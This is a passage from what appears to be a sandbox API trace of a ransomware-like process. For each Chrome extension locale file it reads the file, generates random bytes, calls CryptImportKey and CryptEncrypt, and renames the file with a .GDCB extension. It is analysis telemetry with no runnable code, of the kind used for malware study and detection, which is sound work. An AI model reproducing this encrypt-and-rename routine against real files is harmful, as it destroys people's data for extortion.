settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.gdcb")) returned 1 [0268.989] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.992] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.994] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.994] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.994] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.999] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.999] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.999] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.999] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.001] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797260) returned 1 [0269.001] CryptGetKeyParam (in: hKey=0x6797260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.001] CryptEncrypt (in: hKey=0x6797260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.001] GetLastError () returned 0x0 [0269.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.001] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.003] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797ea0) returned 1 [0269.003] CryptGetKeyParam (in: hKey=0x6797ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.003] CryptEncrypt (in: hKey=0x6797ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.003] GetLastError () returned 0x0 [0269.003] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.005] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.007] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.010] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0269.018] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.029] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0269.034] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.037] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.039] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.039] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.039] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.041] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.043] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.043] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.044] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797f60) returned 1 [0269.046] CryptGetKeyParam (in: hKey=0x6797f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.046] CryptEncrypt (in: hKey=0x6797f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.046] GetLastError () returned 0x0 [0269.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.046] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.048] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797b20) returned 1 [0269.048] CryptGetKeyParam (in: hKey=0x6797b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.048] CryptEncrypt (in: hKey=0x6797b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.048] GetLastError () returned 0x0 [0269.048] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.048] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.049] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.052] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.054] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb0, lpOverlapped=0x0) returned 1 [0269.063] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.069] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0269.075] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.080] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.080] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.080] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.084] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.084] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.084] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.084] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.087] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797d60) returned 1 [0269.091] CryptGetKeyParam (in: hKey=0x6797d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.091] CryptEncrypt (in: hKey=0x6797d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.091] GetLastError () returned 0x0 [0269.091] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.091] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0269.093] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797de0) returned 1 [0269.093] CryptGetKeyParam (in: hKey=0x6797de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.093] CryptEncrypt (in: hKey=0x6797de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.093] GetLastError () returned 0x0 [0269.093] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.093] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.094] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.097] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.099] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0269.108] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.116] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json.gdcb")) returned 1 [0269.121] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.126] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.126] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.126] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.128] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.130] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.130] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.131] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.133] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797fe0) returned 1 [0269.133] CryptGetKeyParam (in: hKey=0x6797fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.133] CryptEncrypt (in: hKey=0x6797fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.133] GetLastError () returned 0x0 [0269.133] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.133] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.135] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797a60) returned 1 [0269.135] CryptGetKeyParam (in: hKey=0x6797a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.135] CryptEncrypt (in: hKey=0x6797a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.135] GetLastError () returned 0x0 [0269.135] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.135] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.136] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.139] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.141] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xaa, lpOverlapped=0x0) returned 1 [0269.150] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.157] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0269.162] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.165] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.167] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.167] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.167] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.167] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.172] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.172] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.172] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.175] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67979e0) returned 1 [0269.175] CryptGetKeyParam (in: hKey=0x67979e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.175] CryptEncrypt (in: hKey=0x67979e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.175] GetLastError () returned 0x0 [0269.175] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.175] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.177] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797ae0) returned 1 [0269.177] CryptGetKeyParam (in: hKey=0x6797ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.177] CryptEncrypt (in: hKey=0x6797ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.177] GetLastError () returned 0x0 [0269.177] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.177] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.179] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.182] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.184] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc2, lpOverlapped=0x0) returned 1 [0269.193] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.200] MoveFileW 